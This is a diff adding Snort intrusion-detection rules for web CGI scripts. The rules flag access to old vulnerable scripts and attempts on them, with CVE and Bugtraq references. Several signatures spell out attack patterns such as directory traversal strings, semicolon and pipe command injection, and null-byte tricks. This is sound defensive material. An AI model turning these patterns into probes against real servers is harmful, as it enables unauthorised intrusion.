+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI DCShop auth_user_file.txt access"; flow:to_server,established; uricontent:"/auth_data/auth_user_file.txt"; nocase; reference:bugtraq,2889; reference:cve,2001-0821; classtype:web-application-activity; sid:1557; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI eshop.pl arbitrary commane execution attempt"; flow:to_server,established; uricontent:"/eshop.pl?seite=|3B|"; nocase; reference:bugtraq,3340; reference:cve,2001-1014; classtype:web-application-attack; sid:1565; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI eshop.pl access"; flow:to_server,established; uricontent:"/eshop.pl"; nocase; reference:bugtraq,3340; reference:cve,2001-1014; classtype:web-application-activity; sid:1566; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI loadpage.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/loadpage.cgi"; content:"file=../"; nocase; reference:bugtraq,2109; reference:cve,2000-1092; classtype:web-application-attack; sid:1569; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI loadpage.cgi access"; flow:to_server,established; uricontent:"/loadpage.cgi"; nocase; reference:bugtraq,2109; reference:cve,2000-1092; classtype:web-application-activity; sid:1570; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI faqmanager.cgi arbitrary file access attempt"; flow:to_server,established; uricontent:"/faqmanager.cgi?toc="; uricontent:"|00|"; nocase; reference:bugtraq,3810; reference:nessus,10837; classtype:web-application-attack; sid:1590; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI faqmanager.cgi access"; flow:to_server,established; uricontent:"/faqmanager.cgi"; nocase; reference:bugtraq,3810; reference:nessus,10837; classtype:web-application-activity; sid:1591; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /fcgi-bin/echo.exe access"; flow:to_server,established; uricontent:"/fcgi-bin/echo.exe"; nocase; reference:nessus,10838; classtype:web-application-activity; sid:1592; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI FormHandler.cgi directory traversal attempt attempt"; flow:to_server,established; uricontent:"/FormHandler.cgi"; nocase; content:"reply_message_attach="; nocase; content:"/../"; reference:bugtraq,798; reference:bugtraq,799; reference:cve,1999-1050; reference:nessus,10075; classtype:web-application-attack; sid:1628; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI FormHandler.cgi external site redirection attempt"; flow:to_server,established; uricontent:"/FormHandler.cgi"; nocase; content:"redirect=http"; reference:bugtraq,798; reference:bugtraq,799; reference:cve,1999-1050; reference:nessus,10075; classtype:web-application-attack; sid:1593; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI FormHandler.cgi access"; flow:to_server,established; uricontent:"/FormHandler.cgi"; nocase; reference:bugtraq,798; reference:bugtraq,799; reference:cve,1999-1050; reference:nessus,10075; classtype:web-application-activity; sid:1594; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI guestbook.cgi access"; flow:to_server,established; uricontent:"/guestbook.cgi"; nocase; reference:cve,1999-0237; reference:nessus,10098; classtype:web-application-activity; sid:1597; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Home Free search.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/search.cgi"; content:"letter=../.."; nocase; reference:bugtraq,921; reference:cve,2000-0054; classtype:web-application-attack; sid:1598; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI search.cgi access"; flow:to_server,established; uricontent:"/search.cgi"; nocase; reference:bugtraq,921; reference:cve,2000-0054; classtype:web-application-activity; sid:1599; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI environ.pl access"; flow:to_server,established; uricontent:"/environ.pl"; nocase; classtype:web-application-activity; sid:1651; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI campus attempt"; flow:to_server,established; uricontent:"/campus?|0A|"; nocase; reference:bugtraq,1975; reference:cve,1999-0146; reference:nessus,10035; classtype:web-application-attack; sid:1652; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI campus access"; flow:to_server,established; uricontent:"/campus"; nocase; reference:bugtraq,1975; reference:cve,1999-0146; reference:nessus,10035; classtype:web-application-activity; sid:1653; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cart32.exe access"; flow:to_server,established; uricontent:"/cart32.exe"; nocase; reference:bugtraq,1153; classtype:web-application-activity; sid:1654; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pfdispaly.cgi arbitrary command execution attempt"; flow:to_server,established; uricontent:"/pfdispaly.cgi?'"; nocase; reference:cve,1999-0270; reference:nessus,10174; classtype:web-application-attack; sid:1655; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pfdispaly.cgi access"; flow:to_server,established; uricontent:"/pfdispaly.cgi"; nocase; reference:cve,1999-0270; reference:nessus,10174; classtype:web-application-activity; sid:1656; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pagelog.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/pagelog.cgi"; nocase; content:"name=../"; nocase; reference:bugtraq,1864; reference:cve,2000-0940; reference:nessus,10591; classtype:web-application-activity; sid:1657; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI pagelog.cgi access"; flow:to_server,established; uricontent:"/pagelog.cgi"; nocase; reference:bugtraq,1864; reference:cve,2000-0940; reference:nessus,10591; classtype:web-application-activity; sid:1658; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ad.cgi access"; flow:to_server,established; uricontent:"/ad.cgi"; nocase; reference:bugtraq,2103; reference:cve,2001-0025; reference:nessus,11464; classtype:web-application-activity; sid:1709; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bbs_forum.cgi access"; flow:to_server,established; uricontent:"/bbs_forum.cgi"; nocase; reference:bugtraq,2177; reference:cve,2001-0123; reference:url,www.cgisecurity.com/advisory/3.1.txt; classtype:web-application-activity; sid:1710; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bsguest.cgi access"; flow:to_server,established; uricontent:"/bsguest.cgi"; nocase; reference:bugtraq,2159; reference:cve,2001-0099; classtype:web-application-activity; sid:1711; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bslist.cgi access"; flow:to_server,established; uricontent:"/bslist.cgi"; nocase; reference:bugtraq,2160; reference:cve,2001-0100; classtype:web-application-activity; sid:1712; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cgforum.cgi access"; flow:to_server,established; uricontent:"/cgforum.cgi"; nocase; reference:bugtraq,1951; reference:cve,2000-1132; classtype:web-application-activity; sid:1713; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI newdesk access"; flow:to_server,established; uricontent:"/newdesk"; nocase; classtype:web-application-activity; sid:1714; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI register.cgi access"; flow:to_server,established; uricontent:"/register.cgi"; nocase; reference:bugtraq,2157; reference:cve,2001-0076; classtype:web-application-activity; sid:1715; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI gbook.cgi access"; flow:to_server,established; uricontent:"/gbook.cgi"; nocase; reference:bugtraq,1940; reference:cve,2000-1131; classtype:web-application-activity; sid:1716; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI simplestguest.cgi access"; flow:to_server,established; uricontent:"/simplestguest.cgi"; nocase; reference:bugtraq,2106; reference:cve,2001-0022; classtype:web-application-activity; sid:1717; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI statsconfig.pl access"; flow:to_server,established; uricontent:"/statsconfig.pl"; nocase; reference:bugtraq,2211; reference:cve,2001-0113; classtype:web-application-activity; sid:1718; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI talkback.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/talkbalk.cgi"; nocase; content:"article=../../"; nocase; reference:bugtraq,2547; reference:cve,2001-0420; classtype:web-application-attack; sid:1719; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI talkback.cgi access"; flow:to_server,established; uricontent:"/talkbalk.cgi"; nocase; reference:bugtraq,2547; reference:cve,2001-0420; classtype:web-application-activity; sid:1720; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI adcycle access"; flow:to_server,established; uricontent:"/adcycle"; nocase; reference:bugtraq,3741; reference:cve,2001-1226; classtype:web-application-activity; sid:1721; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI MachineInfo access"; flow:to_server,established; uricontent:"/MachineInfo"; nocase; reference:cve,1999-1067; classtype:web-application-activity; sid:1722; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI emumail.cgi NULL attempt"; flow:to_server,established; uricontent:"/emumail.cgi"; content:"type="; nocase; content:"%00"; reference:bugtraq,5824; reference:cve,2002-1526; classtype:web-application-activity; sid:1723; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI emumail.cgi access"; flow:to_server,established; uricontent:"/emumail.cgi"; nocase; reference:bugtraq,5824; reference:cve,2002-1526; classtype:web-application-activity; sid:1724; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI document.d2w access"; flow:to_server,established; uricontent:"/document.d2w"; reference:bugtraq,2017; reference:cve,2000-1110; classtype:web-application-activity; sid:1642; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI db2www access"; flow:to_server,established; uricontent:"/db2www"; reference:cve,2000-0677; classtype:web-application-activity; sid:1643; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /cgi-bin/ access"; flow:to_server,established; uricontent:"/cgi-bin/"; content:"/cgi-bin/ HTTP"; nocase; classtype:web-application-attack; sid:1668; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /cgi-dos/ access"; flow:to_server,established; uricontent:"/cgi-dos/"; content:"/cgi-dos/ HTTP"; nocase; classtype:web-application-attack; sid:1669; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI technote main.cgi file directory traversal attempt"; flow:to_server,established; uricontent:"/technote/main.cgi"; nocase; content:"filename="; nocase; content:"../../"; reference:bugtraq,2156; reference:cve,2001-0075; reference:nessus,10584; classtype:web-application-attack; sid:1051; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI technote print.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/technote/print.cgi"; nocase; content:"board="; nocase; content:"../../"; content:"%00"; reference:bugtraq,2156; reference:cve,2001-0075; reference:nessus,10584; classtype:web-application-attack; sid:1052; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ads.cgi command execution attempt"; flow:to_server,established; uricontent:"/ads.cgi"; nocase; content:"file="; nocase; content:"../../"; content:"|7C|"; reference:bugtraq,2103; reference:cve,2001-0025; reference:nessus,11464; classtype:web-application-attack; sid:1053; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI eXtropia webstore directory traversal"; flow:to_server,established; uricontent:"/web_store.cgi"; content:"page=../"; reference:bugtraq,1774; reference:cve,2000-1005; reference:nessus,10532; classtype:web-application-attack; sid:1088; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI eXtropia webstore access"; flow:to_server,established; uricontent:"/web_store.cgi"; reference:bugtraq,1774; reference:cve,2000-1005; reference:nessus,10532; classtype:web-application-activity; sid:1611; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI shopping cart directory traversal"; flow:to_server,established; uricontent:"/shop.cgi"; content:"page=../"; reference:bugtraq,1777; reference:cve,2000-0921; classtype:web-application-attack; sid:1089; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Allaire Pro Web Shell attempt"; flow:to_server,established; uricontent:"/authenticate.cgi?PASSWORD"; content:"config.ini"; classtype:web-application-attack; sid:1090; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Armada Style Master Index directory traversal"; flow:to_server,established; uricontent:"/search.cgi?keys"; content:"catigory=../"; reference:bugtraq,1772; reference:cve,2000-0924; reference:nessus,10562; reference:url,www.synnergy.net/downloads/advisories/SLA-2000-16.masterindex.txt; classtype:web-application-attack; sid:1092; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cached_feed.cgi moreover shopping cart directory traversal"; flow:to_server,established; uricontent:"/cached_feed.cgi"; content:"../"; reference:bugtraq,1762; reference:cve,2000-0906; classtype:web-application-attack; sid:1093; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cached_feed.cgi moreover shopping cart access"; flow:to_server,established; uricontent:"/cached_feed.cgi"; reference:bugtraq,1762; reference:cve,2000-0906; classtype:web-application-activity; sid:2051; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Talentsoft Web+ exploit attempt"; flow:to_server,established; uricontent:"/webplus.cgi?Script=/webplus/webping/webping.wml"; reference:bugtraq,1725; classtype:web-application-attack; sid:1097; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Poll-it access"; flow:to_server,established; uricontent:"/pollit/Poll_It_SSI_v2.0.cgi"; nocase; reference:bugtraq,1431; reference:cve,2000-0590; reference:nessus,10459; classtype:web-application-activity; sid:1106; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI count.cgi access"; flow:to_server,established; uricontent:"/count.cgi"; nocase; reference:bugtraq,128; reference:cve,1999-0021; reference:nessus,10049; classtype:web-application-activity; sid:1149; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webdist.cgi arbitrary command attempt"; flow:to_server,established; uricontent:"/webdist.cgi"; nocase; content:"distloc=|3B|"; nocase; reference:bugtraq,374; reference:cve,1999-0039; reference:nessus,10299; classtype:web-application-attack; sid:1865; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI webdist.cgi access"; flow:to_server,established; uricontent:"/webdist.cgi"; nocase; reference:bugtraq,374; reference:cve,1999-0039; reference:nessus,10299; classtype:web-application-activity; sid:1163; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bigconf.cgi access"; flow:to_server,established; uricontent:"/bigconf.cgi"; nocase; reference:bugtraq,778; reference:cve,1999-1550; reference:nessus,10027; classtype:web-application-activity; sid:1172; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI /cgi-bin/jj access"; flow:to_server,established; uricontent:"/cgi-bin/jj"; nocase; reference:bugtraq,2002; reference:cve,1999-0260; reference:nessus,10131; classtype:web-application-activity; sid:1174; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bizdbsearch attempt"; flow:to_server,established; uricontent:"/bizdb1-search.cgi"; nocase; content:"mail"; nocase; reference:bugtraq,1104; reference:cve,2000-0287; reference:nessus,10383; classtype:web-application-attack; sid:1185; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI bizdbsearch access"; flow:to_server,established; uricontent:"/bizdb1-search.cgi"; nocase; reference:bugtraq,1104; reference:cve,2000-0287; reference:nessus,10383; classtype:web-application-activity; sid:1535; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI sojourn.cgi File attempt"; flow:to_server,established; uricontent:"/sojourn.cgi?cat="; content:"%00"; nocase; reference:bugtraq,1052; reference:cve,2000-0180; reference:nessus,10349; classtype:web-application-attack; sid:1194; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI sojourn.cgi access"; flow:to_server,established; uricontent:"/sojourn.cgi"; nocase; reference:bugtraq,1052; reference:cve,2000-0180; reference:nessus,10349; classtype:web-application-activity; sid:1195; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI SGI InfoSearch fname attempt"; flow:to_server,established; uricontent:"/infosrch.cgi?"; content:"fname="; nocase; reference:arachnids,290; reference:bugtraq,1031; reference:cve,2000-0207; classtype:web-application-attack; sid:1196; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI SGI InfoSearch fname access"; flow:to_server,established; uricontent:"/infosrch.cgi"; reference:arachnids,290; reference:bugtraq,1031; reference:cve,2000-0207; classtype:web-application-activity; sid:1727; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ax-admin.cgi access"; flow:to_server,established; uricontent:"/ax-admin.cgi"; classtype:web-application-activity; sid:1204; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI axs.cgi access"; flow:to_server,established; uricontent:"/axs.cgi"; classtype:web-application-activity; sid:1205; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cachemgr.cgi access"; flow:to_server,established; uricontent:"/cachemgr.cgi"; reference:bugtraq,2059; reference:cve,1999-0710; reference:nessus,10034; classtype:web-application-activity; sid:1206; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI responder.cgi access"; flow:to_server,established; uricontent:"/responder.cgi"; reference:bugtraq,3155; classtype:web-application-activity; sid:1208; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI web-map.cgi access"; flow:to_server,established; uricontent:"/web-map.cgi"; classtype:web-application-activity; sid:1211; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI ministats admin access"; flow:to_server,established; uricontent:"/ministats/admin.cgi"; nocase; classtype:web-application-activity; sid:1215; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI dfire.cgi access"; flow:to_server,established; uricontent:"/dfire.cgi"; nocase; reference:bugtraq,564; reference:cve,1999-0913; classtype:web-application-activity; sid:1219; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI txt2html.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/txt2html.cgi"; nocase; content:"/../../../../"; classtype:web-application-attack; sid:1305; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI txt2html.cgi access"; flow:to_server,established; uricontent:"/txt2html.cgi"; nocase; classtype:web-application-activity; sid:1304; rev:7;)
+# do we really need two of these?
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI store.cgi product directory traversal attempt"; flow:to_server,established; uricontent:"/store.cgi"; nocase; content:"product="; content:"../.."; reference:bugtraq,2385; reference:cve,2001-0305; classtype:web-application-attack; sid:1306; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI store.cgi directory traversal attempt"; flow:to_server,established; uricontent:"/store.cgi"; nocase; content:"../"; reference:bugtraq,2385; reference:cve,2001-0305; reference:nessus,10639; classtype:web-application-attack; sid:1488; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI store.cgi access"; flow:to_server,established; uricontent:"/store.cgi"; nocase; reference:bugtraq,2385; reference:cve,2001-0305; reference:nessus,10639; classtype:web-application-activity; sid:1307; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI SIX webboard generate.cgi attempt"; flow:to_server,established; uricontent:"/generate.cgi"; content:"content=../"; reference:bugtraq,3175; reference:cve,2001-1115; reference:nessus,10725; classtype:web-application-attack; sid:1494; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI SIX webboard generate.cgi access"; flow:to_server,established; uricontent:"/generate.cgi"; reference:bugtraq,3175; reference:cve,2001-1115; classtype:web-application-activity; sid:1495; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI spin_client.cgi access"; flow:to_server,established; uricontent:"/spin_client.cgi"; reference:nessus,10393; classtype:web-application-activity; sid:1496; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI csPassword.cgi access"; flow:to_server,established; uricontent:"/csPassword.cgi"; reference:bugtraq,4885; reference:bugtraq,4886; reference:bugtraq,4887; reference:bugtraq,4889; reference:cve,2002-0917; reference:cve,2002-0918; classtype:web-application-activity; sid:1787; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI csPassword password.cgi.tmp access"; flow:to_server,established; uricontent:"/password.cgi.tmp"; reference:bugtraq,4889; reference:cve,2002-0920; classtype:web-application-activity; sid:1788; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Nortel Contivity cgiproc DOS attempt"; flow:to_server,established; uricontent:"/cgiproc?Nocfile="; reference:bugtraq,938; reference:cve,2000-0063; reference:cve,2000-0064; reference:nessus,10160; classtype:web-application-attack; sid:1763; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Nortel Contivity cgiproc DOS attempt"; flow:to_server,established; uricontent:"/cgiproc?|24|"; reference:bugtraq,938; reference:cve,2000-0063; reference:cve,2000-0064; reference:nessus,10160; classtype:web-application-attack; sid:1764; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Nortel Contivity cgiproc access"; flow:to_server,established; uricontent:"/cgiproc"; reference:bugtraq,938; reference:cve,2000-0063; reference:cve,2000-0064; reference:nessus,10160; classtype:web-application-activity; sid:1765; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI Oracle reports CGI access"; flow:to_server,established; uricontent:"/rwcgi60"; content:"setauth="; reference:bugtraq,4848; reference:cve,2002-0947; classtype:web-application-activity; sid:1805; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alienform.cgi directory traversal attempt"; flow:established,to_server; uricontent:"/alienform.cgi"; content:".|7C|./.|7C|."; reference:bugtraq,4983; reference:cve,2002-0934; reference:nessus,11027; classtype:web-application-attack; sid:1822; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AlienForm af.cgi directory traversal attempt"; flow:established,to_server; uricontent:"/af.cgi"; content:".|7C|./.|7C|."; reference:bugtraq,4983; reference:cve,2002-0934; reference:nessus,11027; classtype:web-application-attack; sid:1823; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI alienform.cgi access"; flow:established,to_server; uricontent:"/alienform.cgi"; reference:bugtraq,4983; reference:cve,2002-0934; reference:nessus,11027; classtype:web-application-activity; sid:1824; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI AlienForm af.cgi access"; flow:established,to_server; uricontent:"/af.cgi"; reference:bugtraq,4983; reference:cve,2002-0934; reference:nessus,11027; classtype:web-application-activity; sid:1825; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"WEB-CGI story.pl arbitrary file read attempt"; flow:to_server,established; uricontent:"/story.pl"; content:"next=../"; reference:bugtraq,3028; reference:cve,2001-0804; reference:nessus,10817; classtype:default-login-attempt; sid:1868; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"WEB-CGI story.pl access"; flow:to_server,established; uricontent:"/story.pl"; reference:bugtraq,3028; reference:cve,2001-0804; reference:nessus,10817; classtype:default-login-attempt; sid:1869; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI siteUserMod.cgi access"; flow:to_server,established; uricontent:"/.cobalt/siteUserMod/siteUserMod.cgi"; reference:bugtraq,951; reference:cve,2000-0117; reference:nessus,10253; classtype:web-application-activity; sid:1870; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cgicso access"; flow:to_server,established; uricontent:"/cgicso"; reference:bugtraq,6141; reference:nessus,10779; reference:nessus,10780; classtype:web-application-activity; sid:1875; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI nph-publish.cgi access"; flow:to_server,established; uricontent:"/nph-publish.cgi"; reference:cve,1999-1177; reference:nessus,10164; classtype:web-application-activity; sid:1876; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI printenv access"; flow:to_server,established; uricontent:"/printenv"; reference:bugtraq,1658; reference:cve,2000-0868; reference:nessus,10188; reference:nessus,10503; classtype:web-application-activity; sid:1877; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI sdbsearch.cgi access"; flow:to_server,established; uricontent:"/sdbsearch.cgi"; reference:bugtraq,1658; reference:cve,2000-0868; reference:nessus,10503; classtype:web-application-activity; sid:1878; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI rpc-nlog.pl access"; flow:to_server,established; uricontent:"/rpc-nlog.pl"; reference:cve,1999-1278; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=91470326629357&w=2; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=91471400632145&w=2; classtype:web-application-activity; sid:1931; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI rpc-smb.pl access"; flow:to_server,established; uricontent:"/rpc-smb.pl"; reference:cve,1999-1278; classtype:web-application-activity; sid:1932; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI cart.cgi access"; flow:to_server,established; uricontent:"/cart.cgi"; reference:bugtraq,1115; reference:cve,2000-0252; reference:nessus,10368; classtype:web-application-activity; sid:1933; rev:5;)
